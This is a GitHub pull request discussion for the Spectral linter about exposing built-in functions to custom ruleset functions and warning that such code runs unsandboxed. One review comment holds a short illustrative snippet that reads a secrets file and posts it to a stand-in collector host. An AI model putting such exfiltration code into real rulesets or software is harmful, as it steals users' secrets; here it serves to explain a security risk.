Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

feat: expose available functions to custom functions #925

Merged
merged 3 commits into from
Mar 30, 2020

Conversation

P0lip
Copy link
Contributor

@P0lip P0lip commented Jan 19, 2020

Needed by #924

Checklist

  • Tests added / updated
  • Docs added / updated

Does this PR introduce a breaking change?

  • Yes
  • No

Additional context

Let's not expose this feature in docs.
Back in the day, @marbemac wanted to expose ajv, lodash, and other libraries used in Spectral, but I was a bit skeptical, since we'd lose a bit of flexibility and would have to be very careful when updating dependencies. For instance we couldn't change Ajv to Djv in future without making a breaking change, etc.
We could bundle Ajv, but honestly, that's rather something we should be avoiding at all costs on this occasion, as this vastly increases the size of the bundle function. Furthermore schema function is stable, so there is very little risk of any potential breakage in future.

What do you folks think?

@P0lip P0lip added the enhancement New feature or request label Jan 19, 2020
@P0lip P0lip self-assigned this Jan 19, 2020
@@ -2,6 +2,8 @@

If the built-in functions are not enough for your [custom ruleset](../getting-started/rulesets.md), Spectral allows you to write and use your own custom functions.

Please, do keep in mind that for the time being, the code is **not** executed in a sandboxed environment, so be very careful when including external rulesets.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@P0lip From a user standpoint, what would be the potential risks? It might be interesting to list some of the most critical ones.

Copy link
Contributor

@marbemac marbemac Jan 26, 2020

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I imagine something like this?

const fs = require('fs');

const secrets = fs.readFile('/secrets.txt');

fetch('https://secret-collector.com', { method: 'post', body: secrets });

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@P0lip From a user standpoint, what would be the potential risks? It might be interesting to list some of the most critical ones.

We were planning to run that code in a sandboxed env, but that's not ready yet.

The risk depends on the environment Spectral is executed in.
We use vm for Node, but it's not supposed to run untrusted code.
It basically spins up a separate V8 isolate, but that's pretty much it.

In case of a browser... you have access to indexedb, local storage, so for instance auth info could be leaked if you use JWT and similar methods.

Copy link
Contributor

@nulltoken nulltoken Feb 16, 2020

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@P0lip Thanks for the detailed explanation. This doco update is interesting but may be a bit scary to the reader in its current form as it's a bit vague and not really actionable.

How would you feel about adding a couple of sentences about what could happen (eg. data/creds exfiltration, potential data tampering...), what kind of external rulesets they should be careful about (eg. those leveraging custom functions which aren't part of Spectral Core, ...), and what kind of actions should be taken (eg. reviewing the code of the functions to ensure nothing weirdo is being done, no shady obfuscated remote code is being "required" (cf. https://stackoverflow.com/a/23569631/335418), maybe considering "vendoring" external rulesets to protect against potential future evil changes...).

Thoughts?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Makes sense, I'll update it in a bit.
It's a similar case as with npm dependencies. You kind of trust them for the most of the time, but you should be careful during updates, etc.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Added some! what do you think?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@P0lip very clear and straightforward. I like this very much! <3

@marbemac
Copy link
Contributor

Don't have time to do a code read, but if we haven't already I suggest that we do a quick audit of all the custom function signatures (argument names, argument positions, response types, etc) to make sure they're consistent and well thought out. We're basically committing to a public API for these custom functions with this PR - moving forward, any changes to them will require a major release.

@P0lip P0lip requested a review from nulltoken February 11, 2020 09:32
@P0lip P0lip force-pushed the feat/expose-available-fns branch from 264e63e to 8c09d18 Compare March 29, 2020 15:22
Copy link
Contributor

@nulltoken nulltoken left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

👏

@@ -2,6 +2,8 @@

If the built-in functions are not enough for your [custom ruleset](../getting-started/rulesets.md), Spectral allows you to write and use your own custom functions.

Please, do keep in mind that for the time being, the code is **not** executed in a sandboxed environment, so be very careful when including external rulesets.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@P0lip very clear and straightforward. I like this very much! <3

@P0lip P0lip merged commit 059d74e into develop Mar 30, 2020
@P0lip P0lip deleted the feat/expose-available-fns branch March 30, 2020 09:28
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
enhancement New feature or request
Projects
None yet
Development

Successfully merging this pull request may close these issues.

4 participants